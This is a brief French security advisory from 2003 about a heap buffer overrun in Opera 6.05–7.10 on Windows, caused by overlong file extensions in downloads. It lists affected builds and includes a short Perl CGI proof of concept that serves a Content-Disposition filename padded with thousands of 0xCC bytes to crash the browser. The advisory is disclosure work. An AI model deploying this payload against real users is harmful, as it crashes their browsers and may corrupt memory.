Opera 7-6 Long File Extension Heap Buffer Overrun in Download
|
Date de Publication: 2003-04-29
Titre: Opera 7-6 Long File Extension Heap Buffer Overrun
K-Otik ID : 0042
Exploitable à distance : Non
Exploitable en local : Oui
* Description Technique - Exploit *
Opéra ne vérifie pas correctement la longueur des extensions et ne limite pas cette longueur. Ce qui produit un recouvrement par des données arbitraires, et donc le crash.
--------------------------- Sample Script --------------------------
#!/usr/bin/perl
# Smash Heap Memory.
# This script is CGI program.
$|=1;
my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100);
print "Content-type: text/html\r\n";
print qq~Content-Disposition: filename="$filename"\r\n~;
print "\r\n";
print "<html><body>Love & Peace :)</body></html>\r\n";
-------------------------------------------------------------------------
* Versions Vulnérables *
Plateforme : Windows
7.10 build 2840
7.03 build 2670
7.02 build 2668
7.02 bork build 2656b
7.01 build 2651
6.06b build 1145
6.06 build 1144
6.05 build 1140
* Solution *
http://www.opera.com
* Crédits *
Faille découverte par l'équipe de Operash (Avril 2003).
|